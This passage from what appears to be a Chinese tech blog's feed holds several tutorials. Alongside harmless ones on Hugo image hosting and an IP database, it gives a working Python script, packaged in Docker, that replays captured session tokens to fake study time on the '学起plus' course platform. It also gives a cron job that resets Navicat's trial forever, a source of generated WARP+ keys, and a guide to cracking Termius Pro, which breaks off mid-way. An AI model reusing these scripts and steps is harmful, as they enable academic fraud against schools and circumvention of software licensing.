class="number">4</span>]</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">        <span class="keyword">for</span> course <span class="keyword">in</span> study_courses:</span><br><span class="line">            course_name = course.get(<span class="string">&#x27;versionName&#x27;</span>, <span class="string">&#x27;Unknown&#x27;</span>)</span><br><span class="line">            <span class="built_in">print</span>(<span class="string">f&quot;\n&gt;&gt;&gt; 正在学习: <span class="subst">&#123;course_name&#125;</span>&quot;</span>)</span><br><span class="line">            </span><br><span class="line">            config = build_study_config_from_course(course)</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">if</span> config:</span><br><span class="line">                <span class="keyword">try</span>:</span><br><span class="line">                    response = send_study_duration_request(config)</span><br><span class="line">                    <span class="built_in">print</span>(<span class="string">f&quot;    状态码: <span class="subst">&#123;response.status_code&#125;</span>&quot;</span>)</span><br><span class="line">                    <span class="built_in">print</span>(<span class="string">f&quot;    响应: <span class="subst">&#123;response.text&#125;</span>&quot;</span>)</span><br><span class="line">                <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">                    <span class="built_in">print</span>(<span class="string">f&quot;    请求失败: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">            <span class="keyword">else</span>:</span><br><span class="line">                <span class="built_in">print</span>(<span class="string">f&quot;    跳过: 无法构建配置&quot;</span>)</span><br><span class="line">            </span><br><span class="line">            <span class="comment"># 短暂延迟</span></span><br><span class="line">            time.sleep(<span class="number">2</span>)</span><br><span class="line">        </span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;\n&quot;</span> + <span class="string">&quot;-&quot;</span>*<span class="number">50</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;本轮完成，等待30秒后继续...&quot;</span>)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;-&quot;</span>*<span class="number">50</span>)</span><br><span class="line">        time.sleep(<span class="number">30</span>)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        main()</span><br><span class="line">    <span class="keyword">except</span> KeyboardInterrupt:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;\n\n程序被用户中断&quot;</span>)</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;\n程序异常: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">        <span class="keyword">import</span> traceback</span><br><span class="line">        traceback.print_exc()</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> tools </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 学起plus </tag>
            
            <tag> 刷课 </tag>
            
            <tag> 学起 </tag>
            
            <tag> 自动化学习 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Hugo vscode 自动上传图片到cloudflare</title>
      <link href="//archives/hugo-vscode-auto-upload-file-to-oss-r2.html"/>
      <url>//archives/hugo-vscode-auto-upload-file-to-oss-r2.html</url>
      
        <content type="html"><![CDATA[<p>在masrkdown中引用图片，有这么几种</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="type">![</span><span class="string">图片描述](图片url,可以为本地或者远程图片)</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 1. 相对路径</span></span><br><span class="line"><span class="type">![</span><span class="string">图片描述](image.png)</span></span><br><span class="line"><span class="type">![</span><span class="string">图片描述](./image.png)</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 2. 项目目录绝对路径</span></span><br><span class="line"><span class="type">![</span><span class="string">图片描述](/static/logo/image.png)</span> </span><br><span class="line"></span><br><span class="line"><span class="comment"># 3. 外部引用</span></span><br><span class="line"><span class="type">![</span><span class="string">图片描述](http://example.com/logo/image.png)</span> </span><br><span class="line"></span><br></pre></td></tr></table></figure><p>经过hugo 渲染后，图片路径错误</p><hr><ul><li><p>相对路径</p><p>在markdown中为 image.png 或.&#x2F;images.png , 发布站点后图片地址为 https:&#x2F;xxx.xxx.xx&#x2F;image.png , 图片会在域名下一级路径，导致图片无法查看</p></li></ul><figure class="highlight markdown"><table><tr><td class="code"><pre><span class="line">.</span><br><span class="line">├── image.png</span><br><span class="line">└── my-post</span><br><span class="line"><span class="code">    └── index.html</span></span><br></pre></td></tr></table></figure><ul><li>绝对路径<br>关键字 &#x2F;static 会在编译后省略， 也就是static里面的所有文件包括子目录会复制到 public下， 也是在一级路径下，去掉了static也会导致图片无法查看</li></ul><figure class="highlight markdown"><table><tr><td class="code"><pre><span class="line"><span class="section">## 编译前</span></span><br><span class="line">.</span><br><span class="line">└── static</span><br><span class="line"><span class="code">    └── logo</span></span><br><span class="line"><span class="code">        └── avatar.png</span></span><br><span class="line"><span class="code"></span></span><br><span class="line"><span class="section">## 编译后</span></span><br><span class="line">public  # 网站目录</span><br><span class="line">└── logo # 一级目录</span><br><span class="line"><span class="code">    └── avatar.png</span></span><br><span class="line"><span class="code"></span></span><br></pre></td></tr></table></figure><p>如果只是本地查看还好，如果发布，需要手动或者单独写脚本处理。所以这里考虑使用 对象存储来对图片进行存储，这样即使编译后，也可以保证图片正常。</p><p>对象存储有很多， 国内阿里云，腾讯云，七牛云等， 因为我的站点在cloudflare, 本着一站式服务， 所以我使用了 cloudflare 的 R2 来存储图片等， cloudflare免费版有10G存储空间， 10G&#x2F;月 流量， 个人站点，完全够用了， 还可以方便的绑定域名，使用cdn</p><p>我使用的工具：</p><ul><li>编辑器：  <strong>vscode</strong><br>扩展    <strong>markdown image</strong></li><li>cloudflare账号</li></ul><p>步骤如下图：</p><h4 id="cloudflare部分"><a href="#cloudflare部分" class="headerlink" title="cloudflare部分"></a>cloudflare部分</h4><ul><li><p>注册cloudflare 步骤省略</p></li><li><p>创建存储桶<br><img src="https://images.hao.kim/uploads/1723822650065.png" alt="picture 5"></p><p><img src="https://images.hao.kim/uploads/1723822889010.png" alt="picture 6"></p></li><li><p>设置自定义域名<br>如果域名已经托管到 cloudflare,直接输入一个二级域名即可， cloudflare会自动解析绑定<br><img src="https://images.hao.kim/uploads/1723823052766.png" alt="picture 7"><img src="https://images.hao.kim/uploads/1723823144258.png" alt="picture 8"><img src="https://images.hao.kim/uploads/1723823223116.png" alt="picture 9"></p></li><li><p>获取s3 apikey ，存储桶名， endpoint接入地址<br><img src="https://images.hao.kim/uploads/1723823313117.png" alt="picture 10"><br><img src="https://images.hao.kim/uploads/1723823332285.png" alt="picture 11"><br><img src="https://images.hao.kim/uploads/1723823427881.png" alt="picture 12"><br><img src="https://images.hao.kim/uploads/1723823587257.png" alt="picture 13"><br>到R2页面找到对应的存储桶信息<br><img src="https://images.hao.kim/uploads/1723823796486.png" alt="picture 14"></p></li></ul><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">我们这里有几个基本信息</span></span><br><span class="line"><span class="string">S3的endpoint：</span> <span class="string">https://xxxxxxxxxxxxxxxxxx.r2.cloudflarestorage.com/uploads</span></span><br><span class="line"><span class="string">存储桶名称：uploads</span></span><br><span class="line"><span class="string">自定义域名（非必须）：</span> <span class="string">uploads.xxx.com</span></span><br><span class="line"><span class="string">S3</span> <span class="string">访问ID：</span> <span class="string">xxxx</span></span><br><span class="line"><span class="string">S3</span> <span class="string">密钥：</span>  <span class="string">xxxxxx</span></span><br></pre></td></tr></table></figure><h4 id="vscode部分"><a href="#vscode部分" class="headerlink" title="vscode部分"></a>vscode部分</h4><ul><li><p>安装扩展 markdown image</p><p><img src="https://images.hao.kim/uploads/1723824189221.png" alt="picture 15"></p></li><li><p>配置 markdown image</p><p><img src="https://images.hao.kim/uploads/1723824411941.png" alt="picture 16"></p><p>根据需要填写存储桶中的路径，</p><p><img src="https://images.hao.kim/uploads/2024/08/1723824621873.png" alt="picture 17"></p><p><img src="https://images.hao.kim/uploads/2024/08/1723824960254.png" alt="picture 18"></p></li><li><p>使用自动上传</p><p>打开markdown文件， 切入到编辑模式<br>截屏或者复制图片，右键粘贴， 然后按下  <code>Ctrl   + Shift   +  V</code>   键粘贴图片即可</p><p><img src="https://images.hao.kim/uploads/2024/08/1723825214033.png" alt="picture 19"></p><p><img src="https://images.hao.kim/uploads/2024/08/1723825225331.png" alt="picture 20"></p><p><img src="https://images.hao.kim/uploads/2024/08/1723825259106.png" alt="picture 21"></p></li></ul>]]></content>
      
      
      <categories>
          
          <category> cloudflare </category>
          
      </categories>
      
      
        <tags>
            
            <tag> cloudflare </tag>
            
            <tag> 自动上传图片 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>纯真IP数据库</title>
      <link href="/archives/tools/cz88.html"/>
      <url>/archives/tools/cz88.html</url>
      
        <content type="html"><![CDATA[<p>IP地址位置数据由 <code>https://www.cz88.net</code> 纯真CZ88 提供支持</p><p>纯真(CZ88.NET)自2005年起一直为广大社区用户提供社区版IP地址库，只要获得纯真的授权就能免费使用，并不断获取后续更新的版本。如果有需要免费版IP库的朋友可以前往纯真的官网进行申请。<br>纯真除了免费的社区版IP库外，还提供数据更加准确、服务更加周全的商业版IP地址查询数据。</p><p>纯真围绕IP地址，基于 网络空间拓扑测绘 + 移动位置大数据 方案，对IP地址定位、IP网络风险、IP使用场景、IP网络类型、秒拨侦测、VPN侦测、代理侦测、爬虫侦测、真人度等均有近20年丰富的数据沉淀。</p>]]></content>
      
      
      <categories>
          
          <category> tools </category>
          
      </categories>
      
      
        <tags>
            
            <tag> 免费ip库 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>学起plus python刷课脚本</title>
      <link href="/archives/tools/educloud-plus-shuake.html"/>
      <url>/archives/tools/educloud-plus-shuake.html</url>
      
        <content type="html"><![CDATA[<blockquote><p>文章主要通过分析浏览器请求，模拟浏览器请求来实现</p></blockquote><h2 id="分析浏览器网络请求"><a href="#分析浏览器网络请求" class="headerlink" title="分析浏览器网络请求"></a>分析浏览器网络请求</h2><p>登陆后， 进入课程学习页面，通过抓包或者F12 查看网站的连接情况， 这里以 学起plus 举例</p><p>进入课程学习页面， 按<code>F12</code>观察网络情况， 在不播放的情况下，浏览器过<code>30</code>秒会自动请求，找到两个请求如图</p><p><img src="https://images.hao.kim/uploads/2024/12/d51853e26786fb6ce4b04e64d20ac1bc71d86db3b1178b02fa48d4b2e9d6382f.jpg" alt="educloud-plus-shuake-0">  </p><p>可以看到请求为POST，</p><p><img src="https://images.hao.kim/uploads/2024/12/d708609157d21b847abb1ac9cf8787c3d1d22f1cba85ad401aa47ae4ae659276.jpg" alt="educloud-plus-shuake-1">  </p><p>浏览器自己每隔30秒会发送一个30秒的时间到服务器</p><p><img src="https://images.hao.kim/uploads/2024/12/be33c0f71907c3623de7c34b4d7940203f3b004544f2f98124ebf1b726c3506d.jpg" alt="educloud-plus-shuake-2"><br><img src="https://images.hao.kim/uploads/2024/12/b81abaf24256d6b774d25a352fb5d417eb7ba2a3ca83a420f2a0bfb3c83b9a6a.jpg" alt="educloud-plus-shuake-3">  </p><h2 id="根据请求编写python脚本"><a href="#根据请求编写python脚本" class="headerlink" title="根据请求编写python脚本"></a>根据请求编写python脚本</h2><p>左侧框内为课程相关的信息和<code>token/cookies</code>之类信息，根据实际情况取用</p><p>所有我们需要模拟浏览器的请求， 因为学习的课程比较少，就4个，就用简单的方式去实现，重复发送这几个请求</p><p>下面使用python来实现</p><figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">import</span> requests</span><br><span class="line"><span class="keyword">import</span> time</span><br><span class="line"></span><br><span class="line"><span class="comment"># 通用的请求头部分，对所有请求相同，相关参数可以参考上面的图片进行查找</span></span><br><span class="line">headers = &#123;</span><br><span class="line">    <span class="string">&quot;Host&quot;</span>: <span class="string">&quot;网站域名，例如 xxx.xxx.net&quot;</span>,</span><br><span class="line">    <span class="string">&quot;Cookie&quot;</span>: <span class="string">&quot;.CHINAEDUCLOUD=coookis 参考图片，根据实际情况填写&quot;</span>,</span><br><span class="line">    <span class="string">&quot;User-Agent&quot;</span>: <span class="string">&quot;Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36&quot;</span>,</span><br><span class="line">    <span class="string">&quot;Eduuid&quot;</span>: <span class="string">&quot;参考图片，根据实际情况填写&quot;</span>,</span><br><span class="line">    <span class="string">&quot;Content-Type&quot;</span>: <span class="string">&quot;application/json&quot;</span>,</span><br><span class="line">    <span class="string">&quot;Accept-Encoding&quot;</span>: <span class="string">&quot;gzip, deflate&quot;</span>,</span><br><span class="line">    <span class="string">&quot;Accept-Language&quot;</span>: <span class="string">&quot;zh-CN,zh;q=0.9&quot;</span>,</span><br><span class="line">    <span class="string">&quot;Connection&quot;</span>: <span class="string">&quot;close&quot;</span>,</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 不同请求的数据配置可以到student/student/coursestudyrecord/adddurationpc请求中查找</span></span><br><span class="line">requests_configs = [</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="string">&quot;edurefurl&quot;</span>: <span class="string">&quot;https://aaa.bbb.net/student/videolearning.html#Subpage/StudentVersionVideo?courseVersionId=aaaaaaaaaaaaaaaa&amp;teachplanCourseVersionId=dddddddddddd&amp;sign=eeeeeeeeeeeeee&amp;userAccountId=fffffffffffffffff&quot;</span>,</span><br><span class="line">        <span class="string">&quot;edutoken&quot;</span>: <span class="string">&quot;xxxxx&quot;</span>,</span><br><span class="line">        <span class="string">&quot;edusign&quot;</span>: <span class="string">&quot;hhhhhhhhhhhhhhhhhhh&quot;</span>,</span><br><span class="line">        <span class="string">&quot;data&quot;</span>: &#123;</span><br><span class="line">            <span class="string">&quot;courseVersionId&quot;</span>: <span class="string">&quot;aaaaaaaaaaaaaaaa&quot;</span>,</span><br><span class="line">            <span class="string">&quot;studyDuration&quot;</span>: <span class="number">30</span>,</span><br><span class="line">            <span class="string">&quot;token&quot;</span>: <span class="string">&quot;bbbbbbbbbbbbbbbb|cccccccccccccccc&quot;</span>,</span><br><span class="line">        &#125;,</span><br><span class="line">    &#125;,</span><br><span class="line"></span><br><span class="line">  &#123;</span><br><span class="line">    <span class="comment">#参照上面的结构，这里添加其他课程信息</span></span><br><span class="line">  &#125;，</span><br><span class="line">]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">send_request</span>(<span class="params">config</span>):</span><br><span class="line">    <span class="comment"># 构建请求头部，加入特定的字段</span></span><br><span class="line">    specific_headers = &#123;</span><br><span class="line">        <span class="string">&quot;Edurefurl&quot;</span>: config[<span class="string">&quot;edurefurl&quot;</span>],</span><br><span class="line">        <span class="string">&quot;Edutoken&quot;</span>: config[<span class="string">&quot;edutoken&quot;</span>],</span><br><span class="line">        <span class="string">&quot;Edusign&quot;</span>: config[<span class="string">&quot;edusign&quot;</span>],</span><br><span class="line">    &#125;</span><br><span class="line">    combined_headers = &#123;**headers, **specific_headers&#125;</span><br><span class="line">  </span><br><span class="line">    <span class="comment"># 发送请求</span></span><br><span class="line">    response = requests.post(</span><br><span class="line">        url=<span class="string">&quot;https://aaa.bbb.net/student/student/coursestudyrecord/adddurationpc&quot;</span>,</span><br><span class="line">        headers=combined_headers,</span><br><span class="line">        json=&#123;<span class="string">&quot;data&quot;</span>: config[<span class="string">&quot;data&quot;</span>]&#125;,</span><br><span class="line">    )</span><br><span class="line">    <span class="keyword">return</span> response</span><br><span class="line"></span><br><span class="line"><span class="comment"># 每30秒循环发送请求</span></span><br><span class="line"><span class="keyword">while</span> <span class="literal">True</span>:</span><br><span class="line">    <span class="keyword">for</span> config <span class="keyword">in</span> requests_configs:</span><br><span class="line">        response = send_request(config)</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;Response Status: <span class="subst">&#123;response.status_code&#125;</span>, Response Text: <span class="subst">&#123;response.text&#125;</span>&quot;</span>)</span><br><span class="line">    time.sleep(<span class="number">30</span>)</span><br></pre></td></tr></table></figure><h2 id="运行程序"><a href="#运行程序" class="headerlink" title="运行程序"></a>运行程序</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">python main.py </span><br></pre></td></tr></table></figure><h2 id="查看结果"><a href="#查看结果" class="headerlink" title="查看结果"></a>查看结果</h2><p>如果不是200，请检查请求参数是否正确</p><p><img src="https://images.hao.kim/uploads/2024/12/21e4e5160df0f4b2f1383a9c2cabae911158e08af48e308c86883659b02247eb.jpg" alt="educloud-plus-shuake-4">  </p><h2 id="制作docker镜像"><a href="#制作docker镜像" class="headerlink" title="制作docker镜像"></a>制作docker镜像</h2><p>如此，就在自动刷课了， 难道一直开着电脑 ，NO</p><p>制作成DOCKER镜像， 然后随便丢一台一直开机的服务器跑即可</p><h3 id="dockerfile-文件"><a href="#dockerfile-文件" class="headerlink" title="dockerfile 文件"></a>dockerfile 文件</h3><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="comment">#Dockerfile</span></span><br><span class="line"><span class="string">FROM</span> <span class="string">python:3.10.14-bookworm</span></span><br><span class="line"><span class="string">WORKDIR</span> <span class="string">/app</span></span><br><span class="line"><span class="string">COPY</span> <span class="string">main.py</span> <span class="string">/app/</span></span><br><span class="line"><span class="string">COPY</span> <span class="string">requirements.txt</span> <span class="string">/app/</span></span><br><span class="line"><span class="string">RUN</span> <span class="string">pip</span> <span class="string">install</span> <span class="string">requests</span> </span><br><span class="line"><span class="string">CMD</span> [<span class="string">&quot;python&quot;</span>,<span class="string">&quot;-u&quot;</span>, <span class="string">&quot;main.py&quot;</span>]</span><br></pre></td></tr></table></figure><h3 id="制作镜像"><a href="#制作镜像" class="headerlink" title="制作镜像"></a>制作镜像</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker build -t tag标签 .</span><br><span class="line">docker push tag</span><br></pre></td></tr></table></figure><h3 id="使用镜像"><a href="#使用镜像" class="headerlink" title="使用镜像"></a>使用镜像</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker run -d --name shuake tag标签</span><br></pre></td></tr></table></figure><h3 id="查看日志"><a href="#查看日志" class="headerlink" title="查看日志"></a>查看日志</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">docker logs -f shuake</span><br></pre></td></tr></table></figure><p><img src="https://images.hao.kim/uploads/2024/12/21e4e5160df0f4b2f1383a9c2cabae911158e08af48e308c86883659b02247eb.jpg" alt="educloud-plus-shuake-5">  </p>]]></content>
      
      
      <categories>
          
          <category> tools </category>
          
      </categories>
      
      
        <tags>
            
            <tag> python </tag>
            
            <tag> 学起plus </tag>
            
            <tag> 刷课 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Linux 无限试用navicat</title>
      <link href="/archives/tools/navicat-trial.html"/>
      <url>/archives/tools/navicat-trial.html</url>
      
        <content type="html"><![CDATA[<h3 id="删除-config-navicat"><a href="#删除-config-navicat" class="headerlink" title="删除 .config&#x2F;navicat"></a>删除 .config&#x2F;navicat</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">rm</span> -rf ~/.config/navicat/Premium</span><br></pre></td></tr></table></figure><h3 id="删除-config-dconf-user-文件中navicat对应-的键值项"><a href="#删除-config-dconf-user-文件中navicat对应-的键值项" class="headerlink" title="删除 .config&#x2F;dconf&#x2F;user 文件中navicat对应 的键值项"></a>删除 .config&#x2F;dconf&#x2F;user 文件中navicat对应 的键值项</h3><p>不能直接删除  <code>~/.config/dconf/user</code> 因为 这个文件存着用户其他配置， 如果无所谓可以删除</p><p>所以更安全的方法是通过编辑dconf文件来进行， 可以通过安装 dconf-editor 或者 使用 dconf命令</p><p>安装dconf-editor</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt update</span><br><span class="line"><span class="built_in">sudo</span> apt install dconf-editor</span><br></pre></td></tr></table></figure><p>使用 <code>dconf-editor</code> 命令即可打开dconf文件进行查看或者编辑</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">dconf-editor</span><br></pre></td></tr></table></figure><p>我们需要做的就是删除 <code>premiumsoft</code></p><p><img src="https://images.hao.kim/uploads/2024/12/c3cb37297e6d6d08f2f386486f0caadb5c96ec222b2db1105aaeb80a01c0dd22.jpg" alt="navicat-trial-0">  </p><p>右键 <code>循环重设</code>  即可</p><p>使用命令 更为方便，上面的主要是为了可视化查看</p><p>使用dconf命令删除 navicat dconf中配置</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">dconf reset -f /com/premiumsoft/</span><br></pre></td></tr></table></figure><h3 id="通过计划任务自动删除配置文件"><a href="#通过计划任务自动删除配置文件" class="headerlink" title="通过计划任务自动删除配置文件"></a>通过计划任务自动删除配置文件</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">0 9 */14 * * <span class="built_in">rm</span> -rf ~/.config/navicat/Premium &amp;&amp; dconf reset -f /com/premiumsoft/</span><br></pre></td></tr></table></figure><h3 id="手动执行"><a href="#手动执行" class="headerlink" title="手动执行"></a>手动执行</h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">rm</span> -rf ~/.config/navicat/Premium &amp;&amp; dconf reset -f /com/premiumsoft/</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> tools </category>
          
      </categories>
      
      
        <tags>
            
            <tag> navicat </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>通过WARP隐藏IP</title>
      <link href="/archives/tools/WARP-cli.html"/>
      <url>/archives/tools/WARP-cli.html</url>
      
        <content type="html"><![CDATA[<p>warp是什么？ Cloudflare Warp 是由 Cloudflare 提供的一项网络优化服务，旨在提供更快速、更安全的互联网体验。它通过在全球范围内部署的服务器网络来加密并加速用户的网络流量。</p><ul><li>Warp 应用程序：适用于移动设备（iOS 和 Android），安装后可以在手机或平板电脑上使用，以提升移动数据和 Wi-Fi 连接的性能和安全性。</li><li>Warp+：是 Warp 的付费版本，除了基本的网络优化功能外，还承诺提供更快的速度，并优先处理用户的数据包，减少延迟和提高加载速度。</li><li>Warp 代理（如 warp-cli）：为开发者和高级用户提供命令行工具，可以在服务器和其他支持的平台上配置和使用 Warp 服务。</li></ul><p>有时候还可以作为梯子使用 ～～</p><p>官网 <a href="https://1.1.1.1/">https://1.1.1.1/</a></p><p>检查是否开启warp <a href="https://cloudflare.com/cdn-cgi/trace">https://cloudflare.com/cdn-cgi/trace</a> 找到 <code>warp=***</code>， 如果为 <code>warp=off</code>，则代表未开启或未代理， 如果为 <code>warp=plus</code> 则代表启用成功，当前网络由 WARP+ 托管，所有网络请求流量通过 WARP+ VPN 转发</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">...</span></span><br><span class="line"><span class="string">tls=TLSv1.3</span></span><br><span class="line"><span class="string">sni=plaintext</span></span><br><span class="line"><span class="string">warp=plus</span></span><br><span class="line"><span class="string">...</span></span><br></pre></td></tr></table></figure><h2 id="使用warp-一般我们分为以下几个步骤"><a href="#使用warp-一般我们分为以下几个步骤" class="headerlink" title="使用warp 一般我们分为以下几个步骤"></a>使用warp 一般我们分为以下几个步骤</h2><h3 id="安装cloudflare-warp"><a href="#安装cloudflare-warp" class="headerlink" title="安装cloudflare-warp"></a>安装cloudflare-warp</h3><p>linux参考 <a href="https://developers.cloudflare.com/warp-client/get-started/linux/">https://developers.cloudflare.com/warp-client/get-started/linux/</a></p><p>debian&#x2F;ubuntu</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment">#添加gpg key</span></span><br><span class="line">curl -fsSL https://pkg.cloudflareclient.com/pubkey.gpg | <span class="built_in">sudo</span> gpg --<span class="built_in">yes</span> --dearmor --output /usr/share/keyrings/cloudflare-warp-archive-keyring.gpg</span><br><span class="line"></span><br><span class="line"><span class="comment">#添加apt源</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;deb [signed-by=/usr/share/keyrings/cloudflare-warp-archive-keyring.gpg] https://pkg.cloudflareclient.com/ <span class="subst">$(lsb_release -cs)</span> main&quot;</span> | <span class="built_in">sudo</span> <span class="built_in">tee</span> /etc/apt/sources.list.d/cloudflare-client.list</span><br><span class="line"></span><br><span class="line"><span class="comment">#安装</span></span><br><span class="line"><span class="built_in">sudo</span> apt-get update &amp;&amp; <span class="built_in">sudo</span> apt-get install cloudflare-warp</span><br></pre></td></tr></table></figure><h3 id="使用"><a href="#使用" class="headerlink" title="使用"></a>使用</h3><p>使用licensekey来连接， 不限流量</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment">#第一次使用</span></span><br><span class="line">warp-cli registration new</span><br><span class="line">warp-cli registration license xxxxxxxxx-7xxxxm6-xxxxxxxx</span><br><span class="line">warp-cli connect</span><br><span class="line"></span><br><span class="line"><span class="comment">#以后使用connect即可</span></span><br><span class="line">warp-cli connect</span><br><span class="line">warp-cli disconnect</span><br></pre></td></tr></table></figure><h3 id="lisence-key获取方法"><a href="#lisence-key获取方法" class="headerlink" title="lisence key获取方法"></a>lisence key获取方法</h3><p>通过电报机器人获取 <a href="https://t.me/generatewarpplusbot">https://t.me/generatewarpplusbot</a></p><p>关注以后 输入&#x2F;start 会有提示， 然后依次点击提示按钮即可，最后 输入&#x2F;generate &lt;提示的简单加减法的值&gt;</p><p><img src="https://images.hao.kim/uploads/2024/12/a4eb2b5aa4a1f8edeaa81bb09ad89b188122680096ad6579d76e989e69747403.jpg" alt="WARP-cli-0"></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">/start</span><br><span class="line">/generate xx</span><br></pre></td></tr></table></figure>]]></content>
      
      
      <categories>
          
          <category> tools </category>
          
      </categories>
      
      
        <tags>
            
            <tag> WARP </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Termius pro 通用破解 &lt; 8.12</title>
      <link href="/archives/tools/Termius-pro-crack-lt-8.12.html"/>
      <url>/archives/tools/Termius-pro-crack-lt-8.12.html</url>
      
        <content type="html"><![CDATA[<blockquote><p>注意： 这里不是破解Termius服务器，而是破解一些本地termius的功能， 比如隧道跳板机等，xshell也有类似功能，但是xshell没有linux客户端，</p></blockquote><p>参考</p><p><a href="https://github.com/h3110w0r1d-y/termius-cracked">https://github.com/h3110w0r1d-y/termius-cracked</a></p><p><a href="https://www.52pojie.cn/thread-1860682-1-1.html">https://www.52pojie.cn/thread-1860682-1-1.html</a></p><h3 id="8-11-0下载地址"><a href="#8-11-0下载地址" class="headerlink" title="8.11.0下载地址"></a>8.11.0下载地址</h3><blockquote><p>版本8.12以后有变更不支持，适用8.11.0及之前版本</p></blockquote><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://aur.archlinux.org/v.git</span><br></pre></td></tr></table></figure><p>这里提供一下termius 8.11.0的snap地址</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">https://api.snapcraft.io/api/v1/snaps/download/WkTBXwoX81rBe3s3OTt3EiiLKBx2QhuS_186.snap</span></span><br></pre></td></tr></table></figure><p>只需要termius 8.11.0 的asar文件可以从这里下载，下载后改名为 <code>app.asar</code>即可<br><code>不需要解压</code> <code>不需要解压</code> <code>不需要解压</code></p><p><a href="https://images.hao.kim/uploads/app.asar-8.11.0.zip">https://images.hao.kim/uploads/app.asar-8.11.0.zip</a></p><p>构建文件</p><figure class="highlight yaml"><table><tr><td class="code"><pre><span class="line"><span class="string">https://aur.archlinux.org/cgit/aur.git/tree/PKGBUILD?h=termius</span></span><br></pre></td></tr></table></figure><p>安装squashfs</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">sudo</span> apt update</span><br><span class="line"><span class="built_in">sudo</span> apt install squashfs-tools</span><br><span class="line"><span class="comment">#解压snap文件</span></span><br><span class="line"><span class="built_in">mkdir</span> extracted_snap</span><br><span class="line">unsquashfs -d extracted_snap/ WkTBXwoX81rBe3s3OTt3EiiLKBx2QhuS_186.snap</span><br></pre></td></tr></table></figure><h3 id="安装npm，asar"><a href="#安装npm，asar" class="headerlink" title="安装npm，asar"></a><strong>安装npm，asar</strong></h3><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment">#这里为ubuntu或者debian</span></span><br><span class="line"><span class="comment"># centos使用yum -y install npm</span></span><br><span class="line"><span class="built_in">sudo</span> apt -y install npm</span><br><span class="line"></span><br><span class="line"><span class="built_in">sudo</span> npm config <span class="built_in">set</span> registry https://registry.npmmirror.com --global</span><br><span class="line"><span class="built_in">sudo</span> npm install -g asar</span><br></pre></td></tr></table></figure><h3 id="解压app-asar"><a href="#解压app-asar" class="headerlink" title="解压app.asar"></a>解压app.asar</h3><p>linux版的目录为 <code>/opt/Termius/resources</code><br>Mac版的目录为 <code>/Applications/Termius.app/Contents/Resources/</code><br>Windows 目录为 <code>C:\Users\Administrator\AppData\Local\Programs\Termius\resources</code></p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">cd</span> /opt/Termius/resources</span><br><span class="line"><span class="built_in">sudo</span> asar extract app.asar ./app  <span class="comment"># 修改完不需要重新打包</span></span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">mv</span> app.asar app.asar.bak  <span class="comment"># 留个备份，或者直接rm</span></span><br><span class="line"><span class="built_in">sudo</span> <span class="built_in">rm</span> app-update.yml  <span class="comment"># 防止自动更新,这个文件不一定有</span></span><br></pre></td></tr></table></figure><h3 id="修改app-js-background-process-js"><a href="#修改app-js-background-process-js" class="headerlink" 